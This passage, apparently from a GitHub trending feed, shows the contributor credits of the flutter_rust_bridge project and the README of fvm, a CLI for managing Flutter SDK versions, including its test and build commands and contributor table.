title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/coder0xff"><img src="https://avatars.githubusercontent.com/u/2261949?v=4?s=100" width="100px;" alt="Brent Lewis"><br><sub><b>Brent Lewis</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=coder0xff" title="Code">💻</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=coder0xff" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/erikas-taroza"><img src="https://avatars.githubusercontent.com/u/68450090?v=4?s=100" width="100px;" alt="Erikas Taroza"><br><sub><b>Erikas Taroza</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=erikas-taroza" title="Code">💻</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/escwxyz"><img src="https://avatars.githubusercontent.com/u/124119483?v=4?s=100" width="100px;" alt="J"><br><sub><b>J</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=escwxyz" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://monitzer.com"><img src="https://avatars.githubusercontent.com/u/644763?v=4?s=100" width="100px;" alt="Andreas Monitzer"><br><sub><b>Andreas Monitzer</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=anlumo" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://satvikpendem.com"><img src="https://avatars.githubusercontent.com/u/42670561?v=4?s=100" width="100px;" alt="Satvik Pendem"><br><sub><b>Satvik Pendem</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=satvikpendem" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://phlip9.com"><img src="https://avatars.githubusercontent.com/u/918989?v=4?s=100" width="100px;" alt="Philip Kannegaard Hayes"><br><sub><b>Philip Kannegaard Hayes</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=phlip9" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://thesimplekid.com"><img src="https://avatars.githubusercontent.com/u/8606367?v=4?s=100" width="100px;" alt="thesimplekid"><br><sub><b>thesimplekid</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=thesimplekid" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/jaiakash"><img src="https://avatars.githubusercontent.com/u/33419526?v=4?s=100" width="100px;" alt="Akash Jaiswal"><br><sub><b>Akash Jaiswal</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=jaiakash" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/MnlPhlp"><img src="https://avatars.githubusercontent.com/u/33608297?v=4?s=100" width="100px;" alt="Manuel Philipp"><br><sub><b>Manuel Philipp</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=MnlPhlp" title="Code">💻</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=MnlPhlp" title="Documentation">📖</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/lker-dev"><img src="https://avatars.githubusercontent.com/u/40730443?v=4?s=100" width="100px;" alt="Jonathan"><br><sub><b>Jonathan</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=lker-dev" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://lipoic.org"><img src="https://avatars.githubusercontent.com/u/48402225?v=4?s=100" width="100px;" alt="菘菘"><br><sub><b>菘菘</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=SiongSng" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://gutenfries.deno.dev"><img src="https://avatars.githubusercontent.com/u/79616833?v=4?s=100" width="100px;" alt="Marc Gutenberger"><br><sub><b>Marc Gutenberger</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=gutenfries" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/aran"><img src="https://avatars.githubusercontent.com/u/5295?v=4?s=100" width="100px;" alt="Aran Donohue"><br><sub><b>Aran Donohue</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=aran" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/powpingdone"><img src="https://avatars.githubusercontent.com/u/20116021?v=4?s=100" width="100px;" alt="Aidan"><br><sub><b>Aidan</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=powpingdone" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/vimaxwell"><img src="https://avatars.githubusercontent.com/u/19898639?v=4?s=100" width="100px;" alt="max"><br><sub><b>max</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=vimaxwell" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/DMouayad"><img src="https://avatars.githubusercontent.com/u/82384138?v=4?s=100" width="100px;" alt="Mouayad Alhamwi"><br><sub><b>Mouayad Alhamwi</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=DMouayad" title="Documentation">📖</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://blog.nightfeather.dev/"><img src="https://avatars.githubusercontent.com/u/77222233?v=4?s=100" width="100px;" alt="NightFeather"><br><sub><b>NightFeather</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=NightFeather0615" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/JustSimplyKyle"><img src="https://avatars.githubusercontent.com/u/68589851?v=4?s=100" width="100px;" alt="SimplyKyle!"><br><sub><b>SimplyKyle!</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=JustSimplyKyle" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://www.upsuper.org/"><img src="https://avatars.githubusercontent.com/u/333750?v=4?s=100" width="100px;" alt="Xidorn Quan"><br><sub><b>Xidorn Quan</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=upsuper" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/not-holar"><img src="https://avatars.githubusercontent.com/u/58831297?v=4?s=100" width="100px;" alt="Vitalii Hurianov"><br><sub><b>Vitalii Hurianov</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=not-holar" title="Documentation">📖</a></td> </tr> </tbody> </table> <!-- markdownlint-restore --> <!-- prettier-ignore-end --> <!-- ALL-CONTRIBUTORS-LIST:END --> <p>More specifically, thanks for all these contributions:</p> <ul> <li><a href="https://github.com/Desdaemon">Desdaemon</a>: Support not only simple enums but also enums with fields which gets translated to native enum or sealed freezed class in Dart. Support the Option type as nullable types in Dart. Support Vec of Strings type. Support tuple type. Support comments in code. Add marker attributes for future usage. Add Linux and Windows support for with-flutter example, and make CI works for that. Avoid parameter collision. Overhaul the documentation and add several chapters to demonstrate configuring a Flutter+Rust project in all five platforms. Refactor command module. Precompiled binary CI workflow. Fix bugs. Add support for the Web platform, parallel to the existing mobile/desktop platforms, via WASM and JavaScript as intermediate values. GitHub retry actions. Implement draft of opaque types. Refactor Boxed and Option. Impl list of dates. Parameter defaults. Refactor CLI. Refactor codegen errors.</li> <li><a href="https://github.com/rogurotus">rogurotus</a>: Add Rust opaque types, enabling arbitrary Rust structs to be used as opaque Dart objects by generating wrappers and raw Arc pointers, as well as Dart opaque types, allowing to use any Dart objects in Rust code. Extend <code>SyncReturn</code> for more types. Fix generation bug. Fix SyncReturn. Migrate to dart-sys. Update CI. Fix linters.</li> <li><a href="https://github.com/ngasull">ngasull</a>: Make sync mode support whatever types that classical async mode supports. Bump sdk.</li> <li><a href="https://github.com/SecondFlight">SecondFlight</a>: Allow structs and enums to be imported from other files within the crate by creating source graph. Auto-create relevant dir. Fix <code>store_dart_post_cobject</code> error with ffigen 6.0.</li> <li><a href="https://github.com/lattice0">lattice0</a>: Implement hierarchy of exceptions. Support methods, such that Rust struct impls can be converted to Dart class methods. StreamSink at any argument.</li> <li><a href="https://github.com/Unoqwy">Unoqwy</a>: Add struct mirrors, such that types in the external crates can be imported and used without redefining and copying.</li> <li><a href="https://github.com/antonok-edm">antonok-edm</a>: Avoid converting syn types to strings before parsing to improve code and be more robust.</li> <li><a href="https://github.com/sagudev">sagudev</a>: Make code generator a <code>lib</code>. Add error types. Depend on <code>cbindgen</code>. Fix LLVM paths. Update deps. Fix CI errors.</li> <li><a href="https://github.com/surban">surban</a>: Support unit return type. Skip unresolvable modules. Ignore prefer_const_constructors. Non-final Dart fields.</li> <li><a href="https://github.com/Roms1383">Roms1383</a>: Fix build_runner calling bug. Remove global <code>ffigen</code> dependency. Improve version check. Fix enum name-variant conflicts. Support Chrono date time and UUID types. Migrate to Rust 1.64 workspace. Update and refactor CI. Update header comments. Code cleanup.</li> <li><a href="https://github.com/GregoryConrad">GregoryConrad</a>: Add doc to setup frb inside a Dart/Flutter library.</li> <li><a href="https://github.com/dbsxdbsx">dbsxdbsx</a>: Allow generating multiple Rust and Dart files. Fix lint. Update doc. Add logging.</li> <li><a href="https://github.com/huang12zheng">huang12zheng</a>: Support type aliases and nested ones. Tweak code generation. Fix rust_build_and_test on Mac. Improve CI logic and cache. Remove bridge field in model.</li> <li><a href="https://github.com/trobanga">trobanga</a>: Add support for <code>[T;N]</code> structs. Add <code>usize</code> support. Add a cmd argument. Separate dart tests. Fix fallible list case.</li> <li><a href="https://github.com/MnlPhlp">MnlPhlp</a>: Support macros and will auto expand. Allow mirror types in streams.</li> <li><a href="https://github.com/SoLongAndThanksForAllThePizza">SoLongAndThanksForAllThePizza</a>: Refactor and enhance SyncReturn to support more types. Refactor post-release CI.</li> <li><a href="https://github.com/hsfzxjy">hsfzxjy</a>: Fix SyncReturn use-after-free bug.</li> <li><a href="https://github.com/Cupnfish">Cupnfish</a>: Support arrays as function parameters. Allow multi mirror.</li> <li><a href="https://github.com/alanlzhang">alanlzhang</a>: Add generation for Dart metadata. Enhance module parser. Fix enum in struct. Fix linter.</li> <li><a href="https://github.com/temeddix">temeddix</a>: Fix broken CI. Custom num workers. Fix MacOS doc steps. Update doc. Make zero-copy defaultable.</li> <li><a href="https://github.com/Zaitam">Zaitam</a>: Fix when method return struct. Partial migration to Dart 3.</li> <li><a href="https://github.com/nitn3lav">nitn3lav</a>: nested <code>struct</code>s without <code>Box</code>.</li> <li><a href="https://github.com/erikas-taroza">erikas-taroza</a>: Support list of primitive enums. Make enum camelCase. Warn wrong path.</li> <li><a href="https://github.com/alexthe2">alexthe2</a>: Add Option Datetime. Add empty structs. Improve doc. Add <code>r#</code>. Fix mirror enum bug.</li> <li><a href="https://github.com/SiongSng">SiongSng</a>: Finish implementing exception hierarchy. Fix SyncReturn bug.</li> <li><a href="https://github.com/AlienKevin">AlienKevin</a>: Add flutter example for macOS. Add doc for Android NDK bug.</li> <li><a href="https://github.com/banool">banool</a>: Fix pubspec parsing. Fix symbol-stripping doc.</li> <li><a href="https://github.com/coder0xff">coder0xff</a>: Refactor SupportedInnerType. Extra codegen tester.</li> <li><a href="https://github.com/anlumo">anlumo</a>: Fix freezed + methods. Non-clone RustOpaque.</li> <li><a href="https://github.com/NightFeather0615">NightFeather0615</a>: Fix Vec bool.</li> <li><a href="https://github.com/powpingdone">powpingdone</a>: Document JNI init and libc++_static linking.</li> <li><a href="https://github.com/efc-mw">efc-mw</a>: Improve Windows encoding handling.</li> <li><a href="https://github.com/valeth">valeth</a>: Rename callFfi's port.</li> <li><a href="https://github.com/sccheruku">sccheruku</a>: Prevent double-generating utility.</li> <li><a href="https://github.com/jsonmona">jsonmona</a>: Add import.</li> <li><a href="https://github.com/upsuper">upsuper</a>: Refactor delegate-attr.</li> <li><a href="https://github.com/w-ensink">w-ensink</a>: Improve doc. Fix CI. Refactor. Add tests.</li> <li><a href="https://github.com/codercengiz">codercengiz</a>: Fix mirroring bug.</li> <li><a href="https://github.com/Michael-F-Bryan">Michael-F-Bryan</a>: Detect broken bindings.</li> <li><a href="https://github.com/phlip9">phlip9</a>: Fix no-serde compilation.</li> <li><a href="https://github.com/bus710">bus710</a>: Add a case in troubleshooting.</li> <li><a href="https://github.com/Demezy">Demezy</a>: Mention troubleshooting.</li> <li><a href="https://github.com/gutenfries">gutenfries</a>: Bump proc-macros.</li> <li><a href="https://github.com/anstadnik">anstadnik</a>: Check keywords.</li> <li><a href="https://github.com/aran">aran</a>: Fix pubspec. Bump version.</li> <li><a href="https://github.com/Syndim">Syndim</a>: Add a bracket to box.</li> <li><a href="https://github.com/TENX-S">TENX-S</a>: Improve doc. Reproduce a bug.</li> <li><a href="https://github.com/polypixeldev">polypixeldev</a>: Improve doc.</li> <li><a href="https://github.com/CicadaCinema">CicadaCinema</a>: Bump version. Improve doc.</li> <li><a href="https://github.com/w1th0utnam3">w1th0utnam3</a>: Improve message.</li> <li><a href="https://github.com/vincent-herlemont">vincent-herlemont</a>: Loosen version.</li> <li><a href="https://github.com/zaynetro">zaynetro</a>: Improve doc.</li> <li><a href="https://github.com/raphaelrobert">raphaelrobert</a>: Remove oudated doc.</li> <li><a href="https://github.com/DMouayad">DMouayad</a>: Improve doc.</li> <li><a href="https://github.com/elliotsayes">elliotsayes</a>: Improve doc.</li> <li><a href="https://github.com/tmpfs">tmpfs</a>: Improve doc.</li> <li><a href="https://github.com/thomas725">thomas725</a>: Improve doc.</li> <li><a href="https://github.com/juzi5201314">juzi5201314</a>: Improve doc.</li> <li><a href="https://github.com/Voklen">Voklen</a>: Improve doc.</li> <li><a href="https://github.com/svenstaro">svenstaro</a>: Improve doc.</li> <li><a href="https://github.com/utilForever">utilForever</a>: Fix typos.</li> <li><a href="https://github.com/not-holar">not-holar</a>: Fix typos.</li> <li><a href="https://github.com/Stonks3141">Stonks3141</a>: Fix doc credit.</li> <li><a href="https://github.com/vimaxwell">vimaxwell</a>: Fix doc link.</li> <li><a href="https://github.com/lker-dev">lker-dev</a>: Fix doc link.</li> <li><a href="https://github.com/jaiakash">jaiakash</a>: Fix doc link.</li> <li><a href="https://github.com/feber">feber</a>: Fix doc link.</li> <li><a href="https://github.com/satvikpendem">satvikpendem</a>: Little co-work #989.</li> <li><a href="https://github.com/rustui">rustui</a>: Fix a typo.</li> <li><a href="https://github.com/escwxyz">escwxyz</a>: Fix a typo.</li> <li><a href="https://github.com/eltociear">eltociear</a>: Fix a typo.</li> <li><a href="https://github.com/thesimplekid">thesimplekid</a>: Fix a typo.</li> </ul> + leoafarias/fvm + 2023-09-20T01:27:56Z + tag:github.com,2023-09-20:/leoafarias/fvm + + <p>Flutter Version Management: A simple CLI to manage Flutter SDK versions.</p><hr><h1>fvm</h1> <p><img src="https://img.shields.io/github/stars/leoafarias/fvm?style=social" alt="GitHub stars"> <a href="https://pub.dev/packages/fvm/changelog"><img src="https://img.shields.io/pub/v/fvm?label=version&amp;style=flat-square" alt="Pub Version"></a> <img src="https://img.shields.io/pub/likes/fvm?label=Pub%20Likes&amp;style=flat-squar" alt="Pub Likes"> <img src="https://img.shields.io/pub/points/fvm?label=Pub%20Points&amp;style=flat-squar" alt="Pub Points"> <img src="https://raw.githubusercontent.com/leoafarias/fvm/master/coverage_badge.svg?sanitize=true" alt="Coverage"> <a href="https://github.com/leoafarias/fvm/graphs/contributors"><img src="https://img.shields.io/github/all-contributors/leoafarias/fvm?style=flat-square" alt="Github All Contributors"></a> <a href="https://opensource.org/licenses/mit-license.php"><img src="https://img.shields.io/github/license/leoafarias/fvm?style=flat-square&amp;longCache=true" alt="MIT Licence"></a> <a href="https://github.com/Solido/awesome-flutter"><img src="https://img.shields.io/badge/awesome-flutter-purple?longCache=true&amp;style=flat-square" alt="Awesome Flutter"></a></p> <p>Flutter Version Management (FVM): A simple CLI tool to manage Flutter SDK versions.</p> <p>FVM helps with the need for consistent app builds by allowing to reference a Flutter SDK version used on a per-project basis. It also allows you to have multiple Flutter versions installed to quickly validate and test upcoming Flutter releases with your apps, without waiting for Flutter installation every time.</p> <p><strong>Features:</strong></p> <ul> <li>Configure and use any Flutter SDK version per project.</li> <li>Ability to install and locally cache multiple Flutter SDK versions.</li> <li>Fast switch between Flutter channels and SDK versions.</li> <li>Dynamic Flutter SDK paths for IDE debugging support.</li> <li>Version FVM config with your project for consistency across teams and CI environments.</li> </ul> <p>For more information, read <a href="https://fvm.app">FVM documentation</a>.</p> <hr> <p>Checkout Flutter Sidekick. <a href="https://github.com/leoafarias/sidekick">Read more about it here.</a></p> <p><a href="https://github.com/leoafarias/sidekick"><img src="https://raw.githubusercontent.com/leoafarias/sidekick/main/assets/promo-gh/screenshot.png" alt="FVM App Screenshot"></a></p> <h2>Working with this repo</h2> <h3>Tests</h3> <pre><code class="language-bash">pub run test </code></pre> <h3>Publishing the package</h3> <p>Before pushing the package to <a href="https://pub.dev">pub.dev</a>, run the following command to create a version constant:</p> <pre><code class="language-bash">pub run build_runner build </code></pre> <h3>Update test coverage</h3> <p>To update test coverage, run the following command:</p> <pre><code class="language-bash">pub run test_cov </code></pre> <h2>Troubleshooting</h2> <p>Please view our <a href="https://fvm.app/docs/guides/faq">FAQ</a>.</p> <h2>License</h2> <p>This project is licensed under the MIT License; see <a href="https://raw.githubusercontent.com/leoafarias/fvm/main/LICENSE">LICENSE</a> file for details.</p> <h2>Contributors ✨</h2> <p>A sincere thank you goes to these wonderful people (<a href="https://allcontributors.org/docs/en/emoji-key">emoji key</a>):</p> <!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section --> <!-- prettier-ignore-start --> <!-- markdownlint-disable --> <table> <tbody> <tr> <td align="center" valign="top" width="20%"><a href="https://github.com/leoafarias"><img src="https://avatars1.githubusercontent.com/u/435833?v=4?s=50" width="50px;" alt="Leo Farias"><br><sub><b>Leo Farias</b></sub></a><br><a href="https://github.com/fluttertools/fvm/commits?author=leoafarias" title="Documentation">📖</a> <a href="https://raw.githubusercontent.com/leoafarias/fvm/main/#ideas-leoafarias" title="Ideas, Planning, &amp; Feedback">🤔</a> <a href="https://github.com/fluttertools/fvm/commits?author=leoafarias" title="Code">💻</a> <a href="https://raw.githubusercontent.com/leoafarias/fvm/main/#example-leoafarias" title="Examples">💡</a> <a href="https://github.com/fluttertools/fvm/pulls?q=is%3Apr+reviewed-by%3Aleoafarias" title="Reviewed Pull Requests">👀</a> <a href="https://raw.githubusercontent.com/leoafarias/fvm/main/#maintenance-leoafarias" title="Maintenance">🚧</a> <a href="https://raw.githubusercontent.com/leoafarias/fvm/main/#infra-leoafarias" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a></td> <td align="center" valign="top" width="20%"><a href="https://github.com/ianko"><img src="https://avatars3.githubusercontent.com/u/723360?v=4?s=50" width="50px;" alt="Ianko Leite"><br><sub><b>Ianko Leite</b></sub></a><br><a href="https://raw.githubusercontent.com/leoafarias/fvm/main/#ideas-ianko" title="Ideas, Planning, &amp; Feedback">🤔</a></td> <td align="center" valign="top" width="20%"><a href="https://www.kikt.top"><img src="https://avatars0.githubusercontent.com/u/14145407?v=4?s=50" width="50px;" alt="Caijinglong"><br><sub><b>Caijinglong</b></sub></a><br><a href="https://github.com/fluttertools/fvm/commits?author=CaiJingLong" title="Code">💻</a> <a href="https://raw.githubusercontent.com/leoafarias/fvm/main/#ideas-CaiJingLong" title="Ideas, Planning, &amp; Feedback">🤔</a></td> <td align="center" valign="top" width="20%"><a href="https://juejin.im/user/5bdc1a32518825170b101080"><img src="https://avatars1.githubusercontent.com/u/16477333?v=4?s=50" width="50px;" alt="zmtzawqlp"><br><sub><b>zmtzawqlp</b></sub></a><br><a href="https://github.com/fluttertools/fvm/issues?q=author%3Azmtzawqlp" title="Bug reports">🐛</a></td> <td align="center" valign="top" width="20%"><a href="https://github.com/kuhnroyal"><img src="https://avatars3.githubusercontent.com/u/1260818?v=4?s=50" width="50px;" alt="Peter Leibiger"><br><sub><b>Peter Leibiger</b></sub></a><br><a href="https://github.com/fluttertools/fvm/commits?author=kuhnroyal" title="Code">💻</a> <a href="https://raw.githubusercontent.com/leoafarias/fvm/main/#maintenance-kuhnroyal" title="Maintenance">🚧</a> <a href="https://raw.githubusercontent.com/leoafarias/fvm/main/#question-kuhnroyal" title="Answering Questions">💬</a></td> </tr> <tr> <td align="center" valign="top" width="20%"><a href="https://github.com/panthe"><img src="https://avatars0.githubusercontent.com/u/250296?v=4?s=50" width="50px;" alt="Luca Panteghini"><br><sub><b>Luca Panteghini</b></sub></a><br><a href="https://github.com/fluttertools/fvm/commits?author=panthe" title="Documentation">📖</a></td> <td align="center" valign="top" width="20%"><a href="https://github.com/davidmartos96"><img src="https://avatars1.githubusercontent.com/u/22084723?v=4?s=50" width="50px;" alt="David Martos"><br><sub><b>David Martos</b></sub></a><br><a href="https://github.com/fluttertools/fvm/commits?author=davidmartos96" title="Code">💻</a> <a href="https://github.com/fluttertools/fvm/commits?author=davidmartos96" title="Tests">⚠️</a> <a href="https://github.com/fluttertools/fvm/commits?author=davidmartos96" title="Documentation">📖</a></td> <td align="center" valign="top" width="20%"><a href="https://github.com/svenjacobs"><img src="https://avatars1.githubusercontent.com/u/255313?v=4?s=50" width="50px;" alt="Sven Jacobs"><br><sub><b>Sven Jacobs</b></sub></a><br><a href="https://github.com/fluttertools/fvm/commits?author=svenjacobs" title="Code">💻</a></td> <td align="center" valign="top" width="20%"><a href="https://github.com/Cir0X"><img src="https://avatars0.githubusercontent.com/u/4539597?v=4?s=50" width="50px;" alt="Wolfhard Prell"><br><sub><b>Wolfhard Prell</b></sub></a><br><a href="https://github.com/fluttertools/fvm/commits?author=Cir0X" title="Code">💻</a></td> <td align="center" valign="top" width="20%"><a href="https://github.com/jascodes"><img src="https://avatars2.githubusercontent.com/u/1231593?v=4?s=50" width="50px;" alt="Jaspreet Singh"><br><sub><b>Jaspreet Singh</b></sub></a><br><a href="https://raw.githubusercontent.com/leoafarias/fvm/main/#ideas-jascodes" title="Ideas, Planning, &amp; Feedback">🤔</a> <a href="https://github.com/fluttertools/fvm/commits?author=jascodes" title="Code">💻</a></td> </tr> <tr> <td align="center" valign="top" width="20%"><a href="https://deandreamatias.com/"><img src="https://avatars2.githubusercontent.com/u/21011641?v=4?s=50" width="50px;" alt="Matias de Andrea"><br><sub><b>Matias de Andrea</b></sub></a><br><a href="https://github.com/fluttertools/fvm/commits?author=deandreamatias" title="Documentation">📖</a></td> <td align="center" valign="top" width="20%"><a href="https://github.com/znjameswu"><img src="https://avatars2.githubusercontent.com/u/61373469?v=4?s=50" width="50px;" alt="znjameswu"><br><sub><b>znjameswu</b></sub></a><br><a href="https://github.com/fluttertools/fvm/issues?q=author%3Aznjameswu" title="Bug reports">🐛</a></td> <td align="center" valign="top" width="20%"><a href="https://github.com/orestesgaolin"><img src="https://avatars3.githubusercontent.com/u/16854239?v=4?s=50" width="50px;" alt="Dominik Roszkowski"><br><sub><b>Dominik Roszkowski</b></sub></a><br><a href="https://github.com/fluttertools/fvm/commits?author=orestesgaolin" title="Documentation">📖</a> <a href="https://raw.githubusercontent.com/leoafarias/fvm/main/#talk-orestesgaolin" title="Talks">📢</a></td> <td align="center" valign="top" width="20%"><a href="https://me.sgr-ksmt.org/"><img src="https://avatars0.githubusercontent.com/u/9350581?v=4?s=50" width="50px;" alt="Suguru Kishimoto"><br><sub><b>Suguru Kishimoto</b></sub></a><br><a href="https://github.com/fluttertools/fvm/issues?q=author%3Asgr-ksmt" title="Bug reports">🐛</a></td> <td align="center" valign="top" width="20%"><a href="https://github.com/mx1up"><img src="https://avatars2.githubusercontent.com/u/178714?v=4?s=50" width="50px;" alt="mx1up"><br><sub><b>mx1up</b></sub></a><br><a href="https://github.com/fluttertools/fvm/issues?q=author%3Amx1up" title="Bug reports">🐛</a> <a href="https://github.com/fluttertools/fvm/commits?author=mx1up" title="Code">💻</a></td> </tr> <tr> <td align="center" valign="top" width="20%"><a href="https://github.com/nank1ro"><img src="https://avatars.githubusercontent.com/u/60045235?v=4?s=50" width="50px;" alt="Alexandru Mariuti"><br><sub><b>Alexandru Mariuti</b></sub></a><br><a href="https://github.com/fluttertools/fvm/commits?author=nank1ro" title="Code">💻</a></td> <td align="center" valign="top" width="20%"><a href="https://github.com/andreadelfante"><img src="https://avatars.githubusercontent.com/u/7781176?v=4?s=50" width="50px;" alt="Andrea Del Fante"><br><sub><b>Andrea Del Fante</b></sub></a><br><a href="https://raw.githubusercontent.com/leoafarias/fvm/main/#ideas-andreadelfante" title="Ideas, Planning, &amp; Feedback">🤔</a> <a href="https://github.com/fluttertools/fvm/commits?author=andreadelfante" title="Code">💻</a></td> <td align="center" valign="top" width="20%"><a href="https://github.com/Kavantix"><img src="https://avatars.githubusercontent.com/u/6243755?v=4?s=50" width="50px;" alt="Pieter van Loon"><br><sub><b>Pieter van Loon</b></sub></a><br><a href="https://github.com/fluttertools/fvm/commits?author=Kavantix" title="Code">💻</a> <a href="https://raw.githubusercontent.com/leoafarias/fvm/main/#ideas-Kavantix" title="Ideas, Planning, &amp; Feedback">🤔</a></td> <td align="center" valign="top" width="20%"><a href="https://github.com/YangLang116"><img src="https://avatars.githubusercontent.com/u/15442222?v=4?s=50" width="50px;" alt="Mr Yang"><br><sub><b>Mr Yang</b></sub></a><br><a href="https://github.com/fluttertools/fvm/commits?author=YangLang116" title="Code">💻</a></td> <td align="center" valign="top" width="20%"><a href="https://github.com/Saancreed"><img src="https://avatars.githubusercontent.com/u/26201033?v=4?s=50" width="50px;" alt="Krzysztof Bogacki"><br><sub><b>Krzysztof Bogacki</b></sub></a><br><a href="https://github.com/fluttertools/fvm/issues?q=author%3ASaancreed" title="Bug reports">🐛</a> <a href="https://github.com/fluttertools/fvm/commits?author=Saancreed" title="Code">💻</a></td> </tr> <tr> <td align="center" valign="top" width="20%"><a href="https://github.com/ened"><img src="https://avatars.githubusercontent.com/u/269860?v=4?s=50" width="50px;" alt="Sebastian Roth"><br><sub><b>Sebastian Roth</b></sub></a><br><a href="https://github.com/fluttertools/fvm/commits?author=ened" title="Code">💻</a> <a href="https://raw.githubusercontent.com/leoafarias/fvm/main/#ideas-ened" title="Ideas, Planning, &amp; Feedback">🤔</a></td> <td align="center" valign="top" width="20%"><a href="https://github.com/taras"><img src="https://avatars.githubusercontent.com/u/74687?v=4?s=50" width="50px;" alt="Taras Mankovski"><br><sub><b>Taras Mankovski</b></sub></a><br><a href="https://raw.githubusercontent.com/leoafarias/fvm/main/#infra-taras" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a> <a href="https://raw.githubusercontent.com/leoafarias/fvm/main/#ideas-taras" title="Ideas, Planning, &amp; Feedback">🤔</a></td> <td align="center" valign="top" width="20%"><a href="https://github.com/jmewes"><img src="https://avatars.githubusercontent.com/u/5235584?v=4?s=50" width="50px;" alt="Jan Mewes"><br><sub><b>Jan Mewes</b></sub></a><br><a href="https://github.com/fluttertools/fvm/commits?author=jmewes" title="Documentation">📖</a></td> <td align="center" valign="top" width="20%"><a href="https://permanent.ee"><img src="https://avatars.githubusercontent.com/u/740826?v=4?s=50" width="50px;" alt="Allan Laal"><br><sub><b>Allan Laal</b></sub></a><br><a href="https://github.com/fluttertools/fvm/commits?author=allanlaal" title="Documentation">📖</a></td> <td align="center" valign="top" width="20%"><a href="https://github.com/rhalff"><img src="https://avatars.githubusercontent.com/u/274358?v=4?s=50" width="50px;" alt="Rob Halff"><br><sub><b>Rob Halff</b></sub></a><br><a href="https://github.com/fluttertools/fvm/commits?author=rhalff" title="Documentation">📖</a></td> </tr> <tr> <td align="center" valign="top" width="20%"><a href="https://sharezone.net"><img src="https://avatars.githubusercontent.com/u/24459435?v=4?s=50" width="50px;" alt="Nils Reichardt"><br><sub><b>Nils Reichardt</b></sub></a><br><a href="https://raw.githubusercontent.com/leoafarias/fvm/main/#infra-nilsreichardt" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a> <a href="https://github.com/fluttertools/fvm/commits?author=nilsreichardt" title="Code">💻</a> <a href="https://github.com/fluttertools/fvm/commits?author=nilsreichardt" title="Documentation">📖</a></td> <td align="center" valign="top" width="20%"><a href="https://rcjuancarlosuwu.medium.com"><img src="https://avatars.githubusercontent.com/u/67658540?v=4?s=50" width="50px;" alt="Juan Carlos Ramón Condezo"><br><sub><b>Juan Carlos Ramón Condezo</b></sub></a><br><a href="https://github.com/fluttertools/fvm/commits?author=rcjuancarlosuwu" title="Documentation">📖</a> <a href="https://raw.githubusercontent.com/leoafarias/fvm/main/#translation-rcjuancarlosuwu" title="Translation">🌍</a></td> <td align="center" valign="top" width="20%"><a href="https://github.com/zeshuaro"><img src="https://avatars.githubusercontent.com/u/12210067?v=4?s=50" width="50px;" alt="zeshuaro"><br><sub><b>zeshuaro</b></sub></a><br><a href="https://github.com/fluttertools/fvm/commits?author=zeshuaro" title="Code">💻</a></td> <td align="center" valign="top" width="20%"><a href="https://github.com/ziehlke"><img src="https://avatars.githubusercontent.com/u/10786117?v=4?s=50" width="50px;" alt="ziehlke"><br><sub><b>ziehlke</b></sub></a><br><a href="https://github.com/fluttertools/fvm/commits?author=ziehlke" title="Documentation">📖</a></td> <td align="center" valign="top" width="20%"><a href="https://github.com/fpinzn"><img src="https://avatars.githubusercontent.com/u/345207?v=4?s=50" width="50px;" alt="Francisco Pinzón"><br><sub><b>Francisco Pinzón</b></sub></a><br><a href="https://github.com/fluttertools/fvm/commits?author=fpinzn" title="Documentation">📖</a></td> </tr> <tr> <td align="center" valign="top" width="20%"><a 